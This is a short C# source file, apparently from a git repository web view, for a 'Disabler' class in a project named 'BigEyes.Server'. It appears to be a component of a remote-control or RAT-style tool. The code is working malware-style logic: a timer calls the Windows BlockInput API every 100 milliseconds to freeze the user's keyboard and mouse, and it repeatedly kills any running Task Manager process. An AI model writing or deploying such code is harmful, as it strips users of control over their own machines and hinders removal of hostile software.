blob: 8a4d64665a2ce97423defa06934e1cc3af852b8a (
plain) (
blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
using System;
using System.Threading;
using System.Runtime.InteropServices;
using System.Diagnostics;
namespace BigEyes.Server
{
public class Disabler
{
[DllImport("user32.dll")]
public static extern int BlockInput(int kbd);
private Timer _timer;
private int _on;
public Disabler()
{
_timer = new Timer(new TimerCallback(blockInput));
}
~Disabler()
{
Stop();
}
public void Start()
{
_on = 1;
_timer.Change(0, 100);
}
public void Stop()
{
_on = 0;
_timer.Change(0, Timeout.Infinite);
}
private void blockInput(object o)
{
BlockInput(_on);
if (_on == 1)
{
Process[] prs = Process.GetProcessesByName("taskmgr");
if (prs.Length > 0)
{
foreach (Process p in prs)
{
try
{
p.Kill();
}
catch { }
}
}
}
}
}
}
|